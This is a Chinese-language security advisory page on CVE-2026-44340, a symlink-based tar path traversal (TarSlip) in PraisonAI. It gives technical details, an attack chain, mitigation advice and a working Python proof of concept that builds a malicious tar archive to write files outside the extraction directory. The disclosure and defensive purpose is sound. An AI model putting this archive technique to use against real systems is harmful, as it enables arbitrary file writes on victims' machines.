IPBUF安全漏洞报告
English
CVE-2026-44340 CVSS 7.5 高危

CVE-2026-44340 PraisonAI 任意文件写入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44340
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

路径遍历任意文件写入PraisonAICVE-2026-44340TarSlip

漏洞概述

PraisonAI 在 4.6.37 版本之前存在路径遍历漏洞。其 `_safe_extractall` 辅助函数未正确验证归档文件中的符号链接,导致攻击者可利用特制的 tar 包在受害者文件系统任意位置写入文件。

技术细节

该漏洞是由于 PraisonAI 在处理归档解压时的校验逻辑不完善造成的。虽然 `_safe_extractall` 检查了成员名称中的绝对路径和 `..` 路径段,但未验证 `member.linkname`,也未拒绝 symlink 或 hardlink 成员,且调用 `tar.extractall` 时缺少 `filter='data'` 参数。攻击者可以构造一个恶意 tar 包,首先包含一个指向目标目录外部的符号链接,随后包含一个通过该符号链接访问路径的常规文件。当受害者执行解压流程时,系统会先创建符号链接,随后将常规文件的内容写入符号链接指向的任意系统路径,从而实现无需认证的任意文件写入,破坏系统完整性。

攻击链分析

STEP 1
1. 构造恶意载荷
攻击者创建一个特制的 tar 归档包,其中包含一个指向受害者系统外部路径的符号链接,以及一个通过该符号链接路径写入数据的常规文件。
STEP 2
2. 投递压缩包
攻击者将恶意 tar 包上传至目标系统,诱导受害者使用 PraisonAI 的 recipe pull、publish 或 unpack 功能处理该文件。
STEP 3
3. 触发解压
PraisonAI 调用有漏洞的 `_safe_extractall` 函数对上传的包进行解压。
STEP 4
4. 执行任意写入
系统先创建指向外部路径的符号链接,随后将常规文件写入该链接指向的任意位置,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io # Proof of Concept for CVE-2026-44340 # This script generates a malicious tar file to demonstrate the path traversal via symlink. def generate_malicious_tar(): output_path = "exploit_CVE_2026_44340.tar" with tarfile.open(output_path, "w") as tar: # 1. Create a symlink inside the destination directory that points outside (e.g., /tmp) # The name 'safe_dir/mylink' looks safe, but linkname points to '/tmp' symlink = tarfile.TarInfo(name="safe_dir/mylink") symlink.type = tarfile.SYMTYPE symlink.linkname = "/tmp/target_file" tar.addfile(symlink) # 2. Create a regular file that traverses through the symlink # By writing to 'safe_dir/mylink/payload.txt', we actually write to '/tmp/target_file/payload.txt' payload_content = b"This is arbitrary content written to the filesystem." file_info = tarfile.TarInfo(name="safe_dir/mylink/payload.txt") file_info.size = len(payload_content) # Add file content using BytesIO tar.addfile(file_info, io.BytesIO(payload_content)) print(f"[+] Generated exploit archive: {output_path}") print("[+] When extracted by the vulnerable PraisonAI, this will write to /tmp/target_file/payload.txt") if __name__ == "__main__": generate_malicious_tar()

影响范围

PraisonAI < 4.6.37

防御指南

临时缓解措施
如果无法立即升级,建议暂停处理来自不可信来源的 recipe 归档文件,并在解压前使用外部安全工具扫描归档包中是否包含恶意符号链接。

参考链接